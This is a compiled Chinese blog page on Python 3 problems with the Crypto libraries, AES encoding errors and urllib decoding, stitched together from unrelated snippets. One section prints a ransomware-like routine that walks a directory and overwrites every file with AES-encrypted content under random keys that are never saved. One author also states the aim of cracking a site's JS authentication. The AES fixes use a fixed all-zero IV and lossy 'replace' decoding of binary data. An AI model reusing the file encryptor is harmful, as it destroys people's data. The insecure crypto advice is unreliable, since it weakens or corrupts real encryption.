python3 Crypto使用出现的问题
?
python3 安裝Crypto 出現(xiàn)的問題
python3 import Crypto 失敗的解決辦法 (AES對(duì)稱加密使用 模塊)
# 先導(dǎo)入所需要的包
pip3 install Crypto
# 再安裝pycrypto
pip3 install pycrypto
?
from?Crypto.Cipher?import?AES??# 就成功了
?
-------------------------------
?
python3安裝crypto出錯(cuò),及解決方法
?
首先我用的python3.5的版本
問題的由來,我想通過python去實(shí)現(xiàn)RSA加密算法時(shí),破解某網(wǎng)站的js加密認(rèn)證,網(wǎng)上說需要安裝pycrypto,我就去進(jìn)行pip安裝了
pip install pycrypto
錯(cuò)誤信息如下
?error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build
經(jīng)過網(wǎng)上查詢信息,才知道這個(gè)庫(kù)以及不再更新了,所以安裝的時(shí)候會(huì)出一些錯(cuò),因?yàn)閏++編譯環(huán)境有所問題吧
后來我發(fā)現(xiàn)了這個(gè)庫(kù)?pycryptodome,它是和上面這個(gè)庫(kù)一樣的,實(shí)現(xiàn)了一些加密算法
pip install pycryptodome
很好,安裝很順利的成功了
于是我就很開心的打開pycharm,進(jìn)行代碼書寫了,但是呢?我發(fā)現(xiàn)我怎么不能順利的導(dǎo)包
from Crypto.PublicKey import RSA
pycharm也是提醒我書寫有誤,但我看官方文檔的例子,它也是這樣的導(dǎo)包的,我不信還是運(yùn)行了程序,果然還是出錯(cuò)了
ImportError: No module named 'Crypto'
最后才發(fā)現(xiàn),我需要在python35中改下包的名字,
# 這是我pycryptodome庫(kù)安裝的目錄
# C:\python35\Lib\site-packages
?
# 在這個(gè)目錄你找到這個(gè)文件夾的名字:crypto
# 將這個(gè)文件夾的名字改為: Crypto
通過上面的操作,就能成功的導(dǎo)入了
?
?
---------------------------------
?
?
from Crypto.Util.py3compat import byte_string ImportError: cannot import name 'byte_string'
?
?
pip3 uninstall pycrypto
pip3 uninstall pycryptodome
pip3 install pycryptodome
1
2
關(guān)于Crypto的安裝問題,參考
https://www.cnblogs.com/fawaikuangtu123/p/9761943.html
===============================================
?
問題代碼:
def?pad(s):
????return?s?+?b"\0"?*?(AES.block_size?-?len(s)?%?AES.block_size)???#將s與AES.block_size整數(shù)倍對(duì)齊
?
def?encrypt(message,?key,?key_size=256):???????????#對(duì)文件進(jìn)行??
????message?=?pad(message)??????????????????????????#獲取對(duì)齊后的文件流
????#iv?=?Random.new().read(AES.block_size)?????????????#
????iv?=?os.urandom(16)?????????????#?????????????
????#iv?=?str(iv).encode('utf-8')
????#key?=?str(key).encode('utf-8')
????#print(type(iv))
????message?=?message.decode("utf8",?errors="replace")
????key?=?key.encode('utf-8')
????iv?=?iv.decode("utf8",?errors="replace")
????cipher?=?AES.new(key,?AES.MODE_CBC,?b'0000000000000000')?????????????????????#執(zhí)行加密前的設(shè)置
#????cipher?=?cipher.decode('utf-8')
????return?iv?+?str(cipher.encrypt(message.encode('utf-8')))???????????????#加密返回
?
def?encrypt_file(file_name,?key):??????????#執(zhí)行文件加密函數(shù),就是對(duì)文件打開,寫入
????with?open(file_name,?'rb')?as?fo:
????????plaintext?=?fo.read()
????enc?=?encrypt(plaintext,?key)
????with?open(file_name,?'wb')?as?fo:
????????fo.write(bytes(enc.encode('utf-8')))
?
#creates?key?with?n?lenght?for?'encrypt_file'?function
def?create_key(n):????????????????#生成密鑰函數(shù)??????
????key?=?''.join([random.choice(string.ascii_letters?+?string.digits)?for?n?in?range(n)])??#這里會(huì)循環(huán)n次每次random隨機(jī)函數(shù)會(huì)從輸入的序列中隨機(jī)取一個(gè)數(shù)<str>類型,并加入到key字符串中
????return?key
?
#calls?encrypt_file?function?for?files?in?location,?subdirectories?of?location
def?destroy_directory(location):
????for?root,?_,?files?in?os.walk(location):???????#將輸入的文件路徑,分離分為根目錄,文件夾名稱,和文件列表
????????for?fil?in?files:
????????????fname?=?os.path.join(root,?fil)????????#從文件列表中取文件名與根目錄組合形成文件路徑
????????????encrypt_file(fname,create_key(32))?????#執(zhí)行文件加密
????????????print(fname?+?"?is?encrypted")
????print("---Action?completed!---")
????#finish_control?=?1?#listener?function?ends#?????#這個(gè)位設(shè)置,結(jié)束listen函數(shù),表明文件加密全部完成,也是結(jié)束加密程序的位置
????global?finish_control?#making?it?global,?it's?now?available?for?listener?function
????finish_control?=?1
?
?
----------------------------------------------------------------------
?
報(bào)錯(cuò)解決:TypeError: Object type class 'str' cannot be passed to C code
text=text.encode("utf-8")
key=key.encode("utf-8")
iv=key.encode("utf-8")
明文,密鑰,IV都要編碼
?
======================================================
?
ValueError: IV must be 16 bytes long問題的解決
在這個(gè)里邊兒 AES.new(self.key, self.mode)加上這樣一串字符就可以了,就想這樣:
cryptor = AES.new(self.key, self.mode, b'0000000000000000')6
?
?
用這個(gè):
from Crypto.Cipher import AES import binascii,osdef aes_encrypt(plaintext):key = "00112233445566778899aabbccddeeff"iv = os.urandom(16)aes_mode = AES.MODE_CBCobj = AES.new(key, aes_mode, iv)ciphertext = obj.encrypt(plaintext)return ciphertext工作方式如下:
>>> aes_encrypt("TestTestTestTest") 'r_\x18\xaa\xac\x9c\xdb\x18n\xc1\xa4\x98\xa6sm\xd3' >>>區(qū)別在于:
>>> iv = binascii.hexlify(os.urandom(16)) >>> iv '9eae3db51f96e53f94dff9c699e9e849' >>> len(iv) 32 >>> iv = os.urandom(16) >>> iv '\x16fdw\x9c\xe54]\xc2\x12!\x95\xd7zF\t' >>> len(iv) 16 >>>?
?
====================================
?
'bytes' object has no attribute 'encode'
python3中,編碼的時(shí)候區(qū)分了字符串和二進(jìn)制
encode 改為 decode 就可以了
?
?
?
========================================
python3 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte
Python3
代碼:
from urllib.request import urlopen
from urllib.request import Request
?
url = "http://www.baidu.com"
ua_header = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;"}
#url作為Request()方法的參數(shù)
request = Request(url, headers = ua_header)
?
#向指定的url發(fā)送請(qǐng)求
response = urlopen(request)
?
#類文件對(duì)象的支持 文件對(duì)象的操作方法
html = response.read()
#打印字符串
print(html.decode("utf8"))
報(bào)錯(cuò):
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte
解決方案:
把
print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
雖然問題解決了但是,中間遇到一個(gè)問題,不是很明白,
第一次把
print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
完美解決報(bào)錯(cuò)問題,
(UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte)
但是后面又寫了幾遍代碼,寫成
print(html.decode("utf8", errors="replace"))
有幾次,會(huì)出現(xiàn)亂碼問題,如果再改成
print(html.decode("utf8"))
之后,也不報(bào)錯(cuò),也不亂碼,兩個(gè)問題完美都解決了。
?
總結(jié)
以上是生活随笔為你收集整理的python3 Crypto使用出现的问题的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 镜花水月第二季剧情介绍
- 下一篇: 时装染色啥时候出?